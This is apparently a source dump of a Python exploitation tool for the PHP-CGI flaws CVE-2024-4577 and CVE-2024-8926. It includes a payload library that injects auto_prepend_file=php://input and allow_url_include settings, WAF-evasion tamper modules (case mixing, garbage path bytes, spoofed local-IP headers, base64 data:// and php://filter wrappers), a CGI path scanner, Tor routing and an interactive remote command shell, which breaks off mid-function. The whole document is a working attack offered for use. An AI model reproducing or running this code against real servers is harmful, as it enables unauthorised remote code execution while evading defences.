| -------------------------------------------------------------------------------- /bypass_manager.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib.util 3 | from rich import print as rprint 4 | 5 | # 模組所在資料夾 6 | TAMPER_DIR = os.path.join(os.path.dirname(__file__), "bypass_modules") 7 | 8 | def load_all_tampers(): 9 | """ 10 | 掃描 bypass_modules 中所有 tamper,回傳 dict:模組名稱 -> 描述 11 | """ 12 | tamper_info = {} 13 | 14 | for filename in os.listdir(TAMPER_DIR): 15 | if filename.endswith(".py") and not filename.startswith("__"): 16 | mod_name = filename[:-3] 17 | mod_path = os.path.join(TAMPER_DIR, filename) 18 | 19 | spec = importlib.util.spec_from_file_location(mod_name, mod_path) 20 | mod = importlib.util.module_from_spec(spec) 21 | try: 22 | spec.loader.exec_module(mod) 23 | # 確保有 name 與 description 屬性 24 | if hasattr(mod, "name") and hasattr(mod, "description"): 25 | tamper_info[mod.name] = mod.description 26 | else: 27 | rprint(f"[bold red][!] 模組 {filename} 缺少必要資訊,將略過[/bold red]") 28 | except Exception as e: 29 | rprint(f"[bold red][!] 載入 {filename} 失敗: {e}[/bold red]") 30 | 31 | return tamper_info 32 | 33 | 34 | def load_tamper_functions(selected_names): 35 | """ 36 | 根據使用者選定的模組名稱(不是檔名),回傳 tamper 函式清單 37 | """ 38 | tamper_funcs = [] 39 | 40 | for filename in os.listdir(TAMPER_DIR): 41 | if filename.endswith(".py") and not filename.startswith("__"): 42 | mod_path = os.path.join(TAMPER_DIR, filename) 43 | 44 | spec = importlib.util.spec_from_file_location(filename[:-3], mod_path) 45 | mod = importlib.util.module_from_spec(spec) 46 | 47 | try: 48 | spec.loader.exec_module(mod) 49 | if hasattr(mod, "name") and mod.name in selected_names and hasattr(mod, "tamper"): 50 | tamper_funcs.append(mod.tamper) 51 | except Exception as e: 52 | rprint(f"[bold red][!] 載入 tamper 函式失敗: {filename} - {e}[/bold red]") 53 | 54 | return tamper_funcs 55 | 56 | def apply_bypass(req, modules, attempt=0): 57 | 58 | tamper_funcs = load_tamper_functions(modules) 59 | req["attempt"] = attempt # 第 n 次重試,提供每個模組可依需求使用 60 | 61 | for tamper_func in tamper_funcs: 62 | try: 63 | req = tamper_func(req) # 每個模組對 req 進行修改 64 | except Exception as e: 65 | rprint(f"[bold red][!] tamper 套用失敗:{tamper_func.__name__} - {e}[/bold red]") 66 | 67 | return req 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /bypass_modules/tamper_append_adad.py: -------------------------------------------------------------------------------- 1 | # tamper_append_adad.py 2 | 3 | import random 4 | import string 5 | 6 | name = "tamper_append_adad" 7 | description = "在 payload 結尾添加 %AD%AD+隨機字串,增加混淆與變異性" 8 | 9 | def generate_random_suffix(length=12): 10 | return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) 11 | 12 | def tamper(data): 13 | payload = data.get("payload", "") 14 | suffix = generate_random_suffix() 15 | payload += f"+%AD%AD+{suffix}" 16 | data["payload"] = payload 17 | return data 18 | -------------------------------------------------------------------------------- /bypass_modules/tamper_cgi_case_mixer.py: -------------------------------------------------------------------------------- 1 | # tamper_cgi_case_mixer.py 2 | 3 | import random 4 | import os 5 | 6 | name = "tamper_cgi_case_mixer" 7 | description = "混淆php執行檔名的大小寫" 8 | 9 | def tamper(data): 10 | cgipoint = data.get("cgipoint", "") 11 | if not cgipoint: 12 | return data 13 | 14 | # 分離目錄與檔案名稱 15 | dir_name, file_name = os.path.split(cgipoint) 16 | 17 | # 對檔案名稱部分進行大小寫混合 18 | mixed_file_name = ''.join( 19 | [char.upper() if random.random() < 0.5 else char.lower() for char in file_name] 20 | ) 21 | 22 | # 重新組合完整的CGI路徑 23 | mixed_cgipoint = os.path.join(dir_name, mixed_file_name).replace('\\', '/') 24 | 25 | # 更新請求資料 26 | data["cgipoint"] = mixed_cgipoint 27 | 28 | return data 29 | -------------------------------------------------------------------------------- /bypass_modules/tamper_cgipath_garbage.py: -------------------------------------------------------------------------------- 1 | # tamper_cgipath_garbage.py 2 | 3 | name = "tamper_cgipath_garbage" 4 | description = "在 CGI 路徑後添加 /%81%F5%81%F5/" 5 | 6 | def tamper(data): 7 | if data.get("cgipoint") and not data["cgipoint"].endswith("/%81%F5%81%F5/"): 8 | if data["cgipoint"].endswith("/"): 9 | data["cgipoint"] += "%81%F5%81%F5/" 10 | else: 11 | data["cgipoint"] += "/%81%F5%81%F5/" 12 | return data 13 | -------------------------------------------------------------------------------- /bypass_modules/tamper_insert_dummy_element.py: -------------------------------------------------------------------------------- 1 | # tamper_insert_dummy_element.py 2 | import random 3 | import string 4 | import re 5 | 6 | name = "tamper_insert_dummy_element" 7 | description = "從 payload 中插入干擾的假參數" 8 | 9 | def generate_fake_element(): 10 | key = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) 11 | return f"{key}%3d1" 12 | 13 | def extract_prefix(payload): 14 | match = re.search(r'(%[a-zA-Z0-9%-]+)\+', payload) 15 | return match.group(1) if match else "%ADd" 16 | 17 | def split_payload(payload, prefix): 18 | parts = payload.split("+") 19 | chunks = [] 20 | i = 0 21 | while i < len(parts) - 1: 22 | if parts[i] == prefix: 23 | chunks.append(f"{parts[i]}+{parts[i+1]}") 24 | i += 2 25 | else: 26 | i += 1 27 | return chunks 28 | 29 | def tamper(data): 30 | payload = data.get("payload", "") 31 | if not payload: 32 | return data 33 | 34 | prefix = extract_prefix(payload) 35 | chunks = split_payload(payload, prefix) 36 | 37 | if not chunks: 38 | return data 39 | 40 | fake_param = f"{prefix}+{generate_fake_element()}" 41 | insert_index = random.randrange(0, len(chunks) + 1) 42 | 43 | new_chunks = chunks.copy() 44 | new_chunks.insert(insert_index, fake_param) 45 | 46 | data["payload"] = "+".join(new_chunks) 47 | 48 | return data 49 | -------------------------------------------------------------------------------- /bypass_modules/tamper_payload_shuffle.py: -------------------------------------------------------------------------------- 1 | # tamper_payload_shuffle.py 2 | import random 3 | from exploit import PAYLOAD_ELEMENTS, CVE_PREFIXES 4 | 5 | name = "tamper_payload_shuffle" 6 | description = "打亂 payload 中的元素順序" 7 | 8 | def tamper(data): 9 | cve = data.get("cve_id", "CVE-2024-4577") 10 | prefix = CVE_PREFIXES.get(cve, "%ADd") 11 | payload = data.get("payload", "") 12 | 13 | # 將 payload 切割為 prefix 組合項 14 | parts = payload.split("+") 15 | payload_chunks = [] 16 | 17 | for i in range(0, len(parts), 2): 18 | if i + 1 < len(parts): 19 | pair = f"{parts[i]}+{parts[i+1]}" 20 | payload_chunks.append(pair) 21 | 22 | if not payload_chunks: 23 | return data 24 | 25 | random.shuffle(payload_chunks) 26 | data["payload"] = "+".join(payload_chunks) 27 | return data 28 | -------------------------------------------------------------------------------- /bypass_modules/tamper_phpfilter_wrap.py: -------------------------------------------------------------------------------- 1 | # tamper_phpfilter_warp.py 2 | 3 | name = "tamper_phpfilter_warp" 4 | description = "將 payload 中的 php://input 使用 php://filter 替換" 5 | 6 | def tamper(data): 7 | payload = data.get("payload", "") 8 | if "php://input" in payload: 9 | payload = payload.replace("php://input", "%22php://filter/convert.base64-decode/resource%3Ddata://text/plain,PD9waHAgaW5jbHVkZSgncGhwOi8vaW5wdXQnKTsgPz4%3D%22") 10 | data["payload"] = payload 11 | return data 12 | -------------------------------------------------------------------------------- /bypass_modules/tamper_phpinput_to_data.py: -------------------------------------------------------------------------------- 1 | # tamper_phpinput_to_data.py 2 | 3 | name = "tamper_phpinput_to_data" 4 | description = "將 payload 中的 php://input 使用 data:// 替換" 5 | 6 | def tamper(data): 7 | payload = data.get("payload", "") 8 | if "php://input" in payload: 9 | payload = payload.replace("php://input", "%22data://text/plain;base64,PD9waHAgaW5jbHVkZSgncGhwOi8vaW5wdXQnKTsgPz4%3D%22") 10 | data["payload"] = payload 11 | return data 12 | -------------------------------------------------------------------------------- /bypass_modules/tamper_random_useragent.py: -------------------------------------------------------------------------------- 1 | # tamper_random_useragent.py 2 | 3 | import random 4 | 5 | name = "tamper_random_useragent" 6 | description = "對請求添加隨機的 User-Agent 表頭以繞過WAF或CDN" 7 | 8 | # 常見瀏覽器的 User-Agent 列表 9 | USER_AGENTS = [ 10 | # Chrome 11 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", 12 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36", 13 | # Firefox 14 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0", 15 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:123.0) Gecko/20100101 Firefox/123.0", 16 | # Safari 17 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15", 18 | # Edge 19 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0", 20 | # iOS Safari 21 | "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1" 22 | ] 23 | 24 | def tamper(data): 25 | headers = data.get("headers", {}) 26 | if not isinstance(headers, dict): 27 | headers = {} 28 | 29 | # 隨機選取一個 User-Agent 30 | random_ua = random.choice(USER_AGENTS) 31 | headers["User-Agent"] = random_ua 32 | data["headers"] = headers 33 | 34 | return data 35 | -------------------------------------------------------------------------------- /bypass_modules/tamper_redirect_status.py: -------------------------------------------------------------------------------- 1 | # tamper_redirect_status.py 2 | 3 | name = "tamper_redirect_status" 4 | description = "在請求表頭中添加 Redirect-status: 1,以繞過 CGI 環境驗證" 5 | 6 | def tamper(data): 7 | headers = data.get("headers", {}) 8 | if not isinstance(headers, dict): 9 | headers = {} 10 | 11 | headers["Redirect-status"] = "1" 12 | data["headers"] = headers 13 | 14 | return data 15 | -------------------------------------------------------------------------------- /bypass_modules/tamper_xff_ip_bypass.py: -------------------------------------------------------------------------------- 1 | # tamper_xff_ip_bypass.py 2 | 3 | name = "tamper_xff_ip_bypass" 4 | description = "加入 X-Forwarded-For 等常見偽造 IP 表頭,模擬來源為內網 127.0.0.1,以繞過 IP 限制" 5 | 6 | def tamper(data): 7 | headers = data.get("headers", {}) 8 | if not isinstance(headers, dict): 9 | headers = {} 10 | 11 | # 常見繞過表頭 12 | headers["X-Forwarded-For"] = "127.0.0.1" 13 | headers["X-Client-IP"] = "127.0.0.1" 14 | headers["X-Real-IP"] = "127.0.0.1" 15 | 16 | data["headers"] = headers 17 | return data 18 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import requests 3 | import sys 4 | import urllib3 5 | import chardet 6 | import os 7 | import base64 8 | import re 9 | import time 10 | from urllib.parse import urlparse 11 | import textwrap 12 | 13 | from rich import print as rprint 14 | from rich.panel import Panel 15 | from rich.console import Console 16 | from rich.text import Text 17 | from rich.markdown import Markdown 18 | from rich.syntax import Syntax 19 | from rich.table import Table 20 | import banner 21 | from bypass_manager import apply_bypass 22 | import tor_helper 23 | 24 | console = Console() 25 | 26 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 27 | 28 | # Payload 參數庫 29 | PAYLOAD_ELEMENTS = { 30 | 1: "disable_functions%3d%26", 31 | 2: "disable_classes%3d%26", 32 | 3: "open_basedir%3d", 33 | 4: "cgi.force_redirect%3d0", 34 | 5: "cgi.redirect_status_env", 35 | 6: "allow_url_include%3d1", 36 | 7: "allow_url_fopen%3d1", 37 | 8: "auto_prepend_file%3dphp://input", 38 | 9: "file_uploads%3d1", 39 | 10: "upload_max_filesize%3d0", 40 | 11: "log_errors%3d0", 41 | 12: "post_max_size%3d0", 42 | 13: "memory_limit%3d%2B1", 43 | 14: "enable_dl%3d1", 44 | 15: "max_execution_time%3d0", 45 | 16: "short_open_tag%3d1", 46 | 17: "max_input_time%3d0", 47 | 18: "expose_php%3d1" 48 | } 49 | 50 | # 預設 Payload 組合庫 51 | PAYLOAD_COMBINATIONS = { 52 | "1": [1, 2, 3, 4, 5, 6, 7, 8], 53 | "2": [1, 4, 5, 6, 8], 54 | "3": [4, 6, 8], 55 | } 56 | 57 | # 連接符 58 | CVE_PREFIXES = { 59 | "CVE-2024-4577": "%ADd", 60 | "CVE-2024-8926": "%a8-d%a8" 61 | } 62 | 63 | # 常見 CGI 路徑字典 64 | CGI_POINTS = [ 65 | "/php-cgi/php-cgi.exe", "/cgi-bin/php-cgi.exe", 66 | "/php-cgi.exe", "/cgi/php-cgi.exe", "/php.exe", 67 | "/cgi-bin/php.exe", "/cgi/php.exe", 68 | "/index.php", "/" 69 | ] 70 | 71 | # 全域變數初始設定 72 | enable_log = False 73 | VERBOSE_MODE = False 74 | use_tor = False 75 | tor_session = None 76 | timeout_value = 10 77 | active_request_template = None 78 | selected_payload_group = "1" 79 | PAYLOAD_GROUPS = {} 80 | forced_cgipoint = None 81 | delay_between_requests = 0 82 | 83 | # Parse arguments 84 | def parse_arguments(): 85 | parser = argparse.ArgumentParser(description="CVE-2024-4577 & CVE-2024-8926 Exploitation Tool") 86 | parser.add_argument("-u", "--url", required=True, help="目標網址") 87 | parser.add_argument("--timeout", type=int, default=10, help="預設為10,若須逾時秒數,0 為無限等待,建議 1~30,最大 120") 88 | parser.add_argument("--log", action="store_true", help="啟用shell log 模式") 89 | parser.add_argument("--verbose", action="store_true", help="顯示詳細請求資訊,更好的進行判斷") 90 | parser.add_argument("--payload", nargs="?", const="SELECT", help="選擇 Payload 編號,預設為1,若未指定值則進入選單選擇,輸入 C 則進入自訂模式") 91 | parser.add_argument("--cgipoint", nargs="+", help="指定一組或多組 CGI 路徑,例如 --cgipoint \"/a.php\",\"/b.php\"") 92 | parser.add_argument("--tor", action="store_true", help="啟用 Tor 模式") 93 | parser.add_argument("--bypass", action="store_true", help="啟用 WAF 繞過測試") 94 | parser.add_argument("--force", action="store_true", help="強制進入漏洞利用模式,即使未偵測到漏洞") 95 | parser.add_argument("--delay", type=float, default=0, help="每次請求後延遲秒數(預設 0,可設 0.5 ~ 5)") 96 | parser.add_argument("--no-effects", action="store_true", help="關閉所有動畫與延遲效果,加快腳本執行") 97 | 98 | return parser.parse_args() 99 | 100 | # 組合 Payload 101 | def generate_payload_groups(): 102 | global PAYLOAD_GROUPS 103 | PAYLOAD_GROUPS = { 104 | group_id: { 105 | cve: "+".join([f"{prefix}+{PAYLOAD_ELEMENTS[e]}" for e in elements]) 106 | for cve, prefix in CVE_PREFIXES.items() 107 | } 108 | for group_id, elements in PAYLOAD_COMBINATIONS.items() 109 | } 110 | return PAYLOAD_GROUPS 111 | 112 | PAYLOAD_GROUPS = generate_payload_groups() 113 | selected_payload_group = "1" 114 | PAYLOADS = PAYLOAD_GROUPS[selected_payload_group] 115 | 116 | # Payload選擇 117 | def get_selected_payload_group(args): 118 | global selected_payload_group, PAYLOADS 119 | if "--payload" not in args: 120 | selected_payload_group = "1" 121 | PAYLOADS = PAYLOAD_GROUPS[selected_payload_group] 122 | return selected_payload_group, PAYLOADS 123 | 124 | payload_index = args.index("--payload") + 1 125 | if payload_index >= len(args): 126 | rprint("[bold red][!] 沒有指定 Payload,請手動選擇![/bold red]") 127 | return show_payload_list() 128 | 129 | user_choice = args[payload_index] 130 | if user_choice in PAYLOAD_GROUPS: 131 | selected_payload_group = user_choice 132 | PAYLOADS = PAYLOAD_GROUPS[selected_payload_group] 133 | return selected_payload_group, PAYLOADS 134 | 135 | rprint("[bold yellow][!] 無效的 Payload,請手動選擇![/bold yellow]") 136 | return show_payload_list() 137 | 138 | # 顯示可用 `Payload`,讓使用者手動選擇 139 | def show_payload_list(): 140 | global selected_payload_group 141 | rprint("[bold cyan][*] 可用的 Payload 組合:[/bold cyan]") 142 | sleep_safe(0.1) 143 | 144 | rprint("[dim]─" * 50) 145 | for idx in sorted(PAYLOAD_COMBINATIONS.keys(), key=int): 146 | rprint(f"[bold cyan]{idx}) 所包含 Payload 元素如下:[/bold cyan]") 147 | 148 | printed = set() 149 | for element_key in PAYLOAD_COMBINATIONS[idx]: 150 | if element_key not in PAYLOAD_ELEMENTS: 151 | continue 152 | content = PAYLOAD_ELEMENTS[element_key].strip() 153 | if not content or content in printed: 154 | continue 155 | printed.add(content) 156 | 157 | text = Text("• ", style="green") 158 | text.append(content, style="white") 159 | if "php://input" in content: 160 | start = content.find("php://input") 161 | end = start + len("php://input") 162 | text.stylize("bold red", 2 + start, 2 + end) 163 | console.print(text) 164 | sleep_safe(0.04) 165 | 166 | rprint("[dim]─" * 50) 167 | sleep_safe(0.02) 168 | 169 | while True: 170 | rprint("[bold cyan][?][/bold cyan] 請輸入對應的編號來切換 Payload 組或使用 C 自訂 Payload : ", end="") 171 | user_choice = input().strip() 172 | if user_choice in PAYLOAD_COMBINATIONS: 173 | selected_payload_group = user_choice 174 | print() 175 | break 176 | elif user_choice.upper() == "C": 177 | rprint("\n[bold blue][*] 進入自訂 Payload 模式...[/bold blue]") 178 | selected_payload_group = customize_payload() 179 | break 180 | else: 181 | rprint("[bold yellow][!] 無效輸入,請輸入正確的數字或 `C` 來自訂 Payload![/bold yellow]\n") 182 | 183 | return selected_payload_group, PAYLOAD_COMBINATIONS[selected_payload_group] 184 | 185 | # 自訂 Payload 186 | def customize_payload(): 187 | global PAYLOAD_COMBINATIONS, PAYLOAD_GROUPS, PAYLOADS, selected_payload_group 188 | 189 | rprint("\n[bold cyan][*] 目前可用的 Payload 元素:[/bold cyan]") 190 | rprint("[dim]─" * 50) 191 | sleep_safe(0.1) 192 | max_key_len = max(len(str(k)) for k in PAYLOAD_ELEMENTS) 193 | for key in sorted(PAYLOAD_ELEMENTS.keys(), key=int): 194 | content = PAYLOAD_ELEMENTS[key] 195 | key_str = f"{key:0{max_key_len}d}" 196 | text = Text(f"[{key_str}] ", style="bold green") 197 | text.append(content, style="white") 198 | if "php://input" in content: 199 | start = content.find("php://input") 200 | end = start + len("php://input") 201 | text.stylize("bold red", len(f"[{key_str}] ") + start, len(f"[{key_str}] ") + end) 202 | console.print(text) 203 | sleep_safe(0.02) 204 | print() 205 | sleep_safe(0.02) 206 | 207 | rprint("[dim]─" * 50) 208 | 209 | while True: 210 | rprint("[bold cyan][?][/bold cyan] 請輸入要組合的元素編號(用空格分隔,例如:1 3 5 7):", end="") 211 | user_input = input().strip() 212 | selected_elements = user_input.split() 213 | 214 | if all(e.isdigit() and int(e) in PAYLOAD_ELEMENTS for e in selected_elements): 215 | selected_elements = [int(e) for e in selected_elements] 216 | break 217 | else: 218 | rprint("[bold red][!] 無效輸入,請輸入可用的編號,用空格分隔![/bold red]\n") 219 | 220 | new_id = str(len(PAYLOAD_COMBINATIONS) + 1) 221 | PAYLOAD_COMBINATIONS[new_id] = selected_elements 222 | PAYLOAD_GROUPS[new_id] = { 223 | cve: "+".join([f"{prefix}+{PAYLOAD_ELEMENTS[e]}" for e in selected_elements]) 224 | for cve, prefix in CVE_PREFIXES.items() 225 | } 226 | 227 | rprint("\n[bold green][+] 已成功新增自訂 Payload![/bold green]") 228 | sleep_safe(0.05) 229 | 230 | text_4577 = Text("[*] CVE-2024-4577 Payload:\n ", style="cyan") 231 | payload_4577 = PAYLOAD_GROUPS[new_id]['CVE-2024-4577'] 232 | text_4577.append(payload_4577, style="white") 233 | if "php://input" in payload_4577: 234 | start = payload_4577.find("php://input") 235 | end = start + len("php://input") 236 | text_4577.stylize("bold red", 4 + start, 4 + end) # 4 is indent offset 237 | console.print(text_4577) 238 | sleep_safe(0.05) 239 | 240 | text_8926 = Text("[*] CVE-2024-8926 Payload:\n ", style="cyan") 241 | payload_8926 = PAYLOAD_GROUPS[new_id]['CVE-2024-8926'] 242 | text_8926.append(payload_8926, style="white") 243 | if "php://input" in payload_8926: 244 | start = payload_8926.find("php://input") 245 | end = start + len("php://input") 246 | text_8926.stylize("bold red", 4 + start, 4 + end) # 4 is indent offset 247 | console.print(text_8926) 248 | sleep_safe(0.05) 249 | 250 | print() 251 | selected_payload_group = new_id 252 | PAYLOADS = PAYLOAD_GROUPS[selected_payload_group] 253 | 254 | return new_id 255 | 256 | def interactive_bypass_setup(): 257 | try: 258 | from bypass_manager import load_all_tampers 259 | except ImportError: 260 | rprint("[bold red][!] 錯誤:未找到 `bypass_manager` 模組,請確認此模組是否存在。[/bold red]") 261 | return [], 0 262 | 263 | all_tampers = load_all_tampers() 264 | rprint("\n[bold cyan][*][/bold cyan] 可用繞過方案:") 265 | rprint("[dim]─" * 50) 266 | for idx, (name, desc) in enumerate(all_tampers.items(), 1): 267 | rprint(f"[bold cyan]{idx})[/bold cyan] [bold white]{name}[/bold white] :") 268 | rprint(f"[grey70]{desc}[/grey70]\n") 269 | time.sleep(0.07) 270 | rprint("[dim]─" * 50) 271 | 272 | rprint("[bold cyan][?][/bold cyan] 請輸入要啟用的方案編號(可多選,例如:1 3 4): ", end="") 273 | chosen = input().strip().split() 274 | selected = [] 275 | for c in chosen: 276 | if c.isdigit() and 1 <= int(c) <= len(all_tampers): 277 | selected.append(list(all_tampers.keys())[int(c) - 1]) 278 | 279 | if len(selected) > 1: 280 | rprint("[bold yellow][!][/bold yellow] [yellow]提醒:多個繞過方案將同時套用![/yellow]") 281 | 282 | rprint("[bold cyan][?][/bold cyan] 請輸入重試次數(建議 1-10): ", end="") 283 | retries = input().strip() 284 | retries = int(retries) if retries.isdigit() and int(retries) > 0 else 1 285 | print() 286 | return selected, retries 287 | 288 | 289 | def run_bypass_mode(target, bypass_modules, retry_count, custom_cgi_list=None): 290 | 291 | cgi_list = custom_cgi_list if custom_cgi_list else CGI_POINTS 292 | 293 | for payload_key in PAYLOADS: 294 | for i in range(retry_count): 295 | for ep in cgi_list: 296 | req = { 297 | "url": target, 298 | "cgipoint": ep, 299 | "payload": PAYLOADS[payload_key], 300 | "headers": {}, 301 | "post_data": "", 302 | "cve_id": payload_key 303 | } 304 | 305 | req = apply_bypass(req, bypass_modules, attempt=i) 306 | 307 | target_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 308 | resp = send_request( 309 | target_url, 310 | req["post_data"], 311 | timeout=timeout_value, 312 | headers=req.get("headers", {}) 313 | ) 314 | 315 | if resp and "TEST_VULNTEST_CVE-2024-4577" in resp: 316 | rprint(f"[bold green][+] 找到 CGI 注入點:[/bold green] [cyan]{req['cgipoint']}[/cyan] (漏洞: [magenta]{payload_key}[/magenta])\n") 317 | return req["cgipoint"], payload_key 318 | 319 | rprint("[bold red][-] 所有策略組合嘗試失敗[/bold red]") 320 | return None, None 321 | 322 | # 自動轉換編碼 323 | def decode_response(response): 324 | detected = chardet.detect(response.content) 325 | encoding = detected.get('encoding') 326 | return response.content.decode(encoding, errors='replace') if encoding else response.content.decode('utf-8', errors='replace') 327 | 328 | # 發送請求 329 | def send_request(url, data, timeout=None, headers=None, use_template=False): 330 | if headers is None: 331 | headers = {} 332 | try: 333 | global active_request_template 334 | if use_template and active_request_template: 335 | url = f"{url}{active_request_template['cgipoint']}?{active_request_template['payload']}" 336 | headers = active_request_template.get("headers", {}) 337 | 338 | if VERBOSE_MODE: 339 | rprint("\n[bold cyan]======================================= 發送請求 =======================================[/bold cyan]") 340 | table = Table(show_header=False, box=None, padding=(0,1)) 341 | wrapped_url = textwrap.fill(url, width=65) 342 | table.add_row("[cyan]URL[/cyan]", Text(wrapped_url, style="white")) 343 | table.add_row("[cyan]Data[/cyan]", str(data)) 344 | table.add_row("[cyan]Timeout[/cyan]", str(timeout)) 345 | if headers: 346 | wrapped_headers = textwrap.fill(str(headers), width=65) 347 | table.add_row("[cyan]Headers[/cyan]", Text(wrapped_headers, style="white")) 348 | console.print(table) 349 | rprint("[bold cyan]========================================================================================[/bold cyan]\n") 350 | 351 | if isinstance(data, str): 352 | data = data.encode("utf-8") 353 | 354 | if use_tor: 355 | response = tor_session.post(url, data=data, headers=headers, timeout=timeout) 356 | else: 357 | response = requests.post(url, data=data, headers=headers, verify=False, timeout=timeout) 358 | 359 | if VERBOSE_MODE: 360 | rprint("[bold cyan]======================================= 回應資訊 =======================================[/bold cyan]") 361 | table = Table(show_header=False, box=None, padding=(0,1)) 362 | status_code = response.status_code 363 | if 200 <= status_code < 300: 364 | status_color = "green" 365 | elif 300 <= status_code < 400: 366 | status_color = "bright_cyan" 367 | elif status_code == 401: 368 | status_color = "khaki1" 369 | elif 400 <= status_code < 500: 370 | status_color = "blue" 371 | elif 500 <= status_code < 600: 372 | status_color = "red" 373 | else: 374 | status_color = "magenta" 375 | table.add_row(f"[cyan]Status[/cyan]", f"[{status_color}]{status_code}[/{status_color}]") 376 | table.add_row("[cyan]Preview[/cyan]", response.text[:500]) 377 | console.print(table) 378 | rprint("[bold cyan]========================================================================================[/bold cyan]\n") 379 | # delay 模式 380 | if delay_between_requests > 0: 381 | sleep_safe(delay_between_requests) 382 | 383 | return decode_response(response) 384 | except Exception as e: 385 | if VERBOSE_MODE: 386 | rprint("[bold red]========================================================================================[/bold red]\n") 387 | rprint(f"[bold red][!] 請求錯誤: {e}[/bold red]") 388 | rprint("[bold red]========================================================================================[/bold red]\n") 389 | else: 390 | rprint(f"[bold red][!] 請求錯誤: {e}[/bold red]") 391 | 392 | return None 393 | 394 | # 枚舉注入點 395 | def choose_cgipoint(url, payload_key, custom_cgi_list=None): 396 | test_payload = "" 397 | 398 | if VERBOSE_MODE: 399 | rprint(f"[bold violet]============================= 測試 Payload : {payload_key} =============================[/bold violet]") 400 | table = Table(show_header=False, box=None, padding=(0, 1)) 401 | wrapped_payload = textwrap.fill(PAYLOADS[payload_key], width=65) 402 | payload_text = Text(wrapped_payload, style="white") 403 | table.add_row("[violet]Key[/violet]", Text(str(payload_key), style="white")) 404 | table.add_row("[violet]Payload[/violet]", payload_text) 405 | console.print(table) 406 | rprint("[bold violet]========================================================================================[/bold violet]\n") 407 | 408 | cgi_list = custom_cgi_list if custom_cgi_list else CGI_POINTS 409 | 410 | for ep in cgi_list: 411 | target_url = f"{url}{ep}?{PAYLOADS[payload_key]}" 412 | resp = send_request(target_url, test_payload, timeout=timeout_value) 413 | 414 | if resp and 'TEST_VULNTEST_CVE-2024-4577' in resp: 415 | rprint(f"[bold green][+] 找到 CGI 注入點:[/bold green] [cyan]{ep}[/cyan] (漏洞: [magenta]{payload_key}[/magenta])\n") 416 | return ep 417 | 418 | if VERBOSE_MODE: 419 | rprint("[bold yellow]========================================================================================[/bold yellow]") 420 | rprint(f"[yellow][-] 未找到漏洞 {payload_key}[/yellow]") 421 | rprint("[bold yellow]========================================================================================[/bold yellow]\n") 422 | else: 423 | rprint(f"[yellow][-] 未找到漏洞 {payload_key}[/yellow]") 424 | 425 | return None 426 | 427 | # 自動掃描邏輯 428 | for ep in CGI_POINTS: 429 | target_url = f"{url}{ep}?{PAYLOADS[payload_key]}" 430 | resp = send_request(target_url, test_payload, timeout=timeout_value) 431 | if resp and 'TEST_VULNTEST_CVE-2024-4577' in resp: 432 | if VERBOSE_MODE: 433 | rprint("[bold green]========================================================================================[/bold green]") 434 | rprint(f"[bold green][+] 找到CGI注入點:[bold green] [cyan]{ep}[/cyan] (漏洞: [magenta]{payload_key}[/magenta])") 435 | rprint("[bold green]========================================================================================[/bold green]\n") 436 | else: 437 | rprint(f"[bold green][+] 找到CGI注入點:[bold green] [cyan]{ep}[/cyan] (漏洞: [magenta]{payload_key}[/magenta])\n") 438 | return ep 439 | 440 | if VERBOSE_MODE: 441 | rprint("[bold yellow]========================================================================================[/bold yellow]") 442 | rprint(f"[yellow][-] 未找到漏洞 {payload_key}[/yellow]") 443 | rprint("[bold yellow]========================================================================================[/bold yellow]\n") 444 | else: 445 | rprint(f"[yellow][-] 未找到漏洞 {payload_key}[/yellow]") 446 | 447 | return None 448 | 449 | # 移除不能用於檔名的字元 450 | def sanitize_filename(filename): 451 | return re.sub(r'[\/:*?"<>|]', '_', filename) 452 | 453 | # 以攻擊目標的 host 為基礎建立檔案名稱 454 | def get_unique_filepath(directory, host): 455 | base_filename = sanitize_filename(host) 456 | candidate = os.path.join(directory, f"{base_filename}.txt") 457 | i = 1 458 | while os.path.exists(candidate): 459 | candidate = os.path.join(directory, f"{base_filename}_{i}.txt") 460 | i += 1 461 | return candidate 462 | 463 | # 取得目標網站的根目錄 464 | def get_remote_docroot(url, cgipoint, payload_key, bypass_modules): 465 | payload = "" 466 | req = { 467 | "url": url, 468 | "cgipoint": cgipoint, 469 | "payload": PAYLOADS[payload_key], 470 | "headers": {}, 471 | "post_data": payload, 472 | "cve_id": payload_key 473 | } 474 | 475 | req = apply_bypass(req, bypass_modules, attempt=0) 476 | target_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 477 | resp = send_request(target_url, req["post_data"], timeout=timeout_value, headers=req["headers"]) 478 | 479 | return resp.strip() if resp else None 480 | 481 | # 交互式shell 482 | def exploit_shell(url, cgipoint, payload_key, bypass_modules): 483 | rprint("[cyan][*] 輸入命令,輸入 exit 結束,可使用 --save 儲存單次輸出:[/cyan]") 484 | host = urlparse(url).netloc 485 | log_dir = os.path.join(os.getcwd(), "log") 486 | if enable_log: 487 | rprint("[cyan][*] log模式已啟動[/cyan]") 488 | if not os.path.exists(log_dir): 489 | os.makedirs(log_dir) 490 | print() 491 | log_path = os.path.join(log_dir, f"{host}.log") if enable_log else None 492 | 493 | while True: 494 | cmd = input("shell> ").strip() 495 | if cmd.lower() == "exit": 496 | rprint("[green][+] 已退出交互式 shell 模式\n[/green]") 497 | break 498 | 499 | parts = cmd.split("--save") 500 | real_cmd = 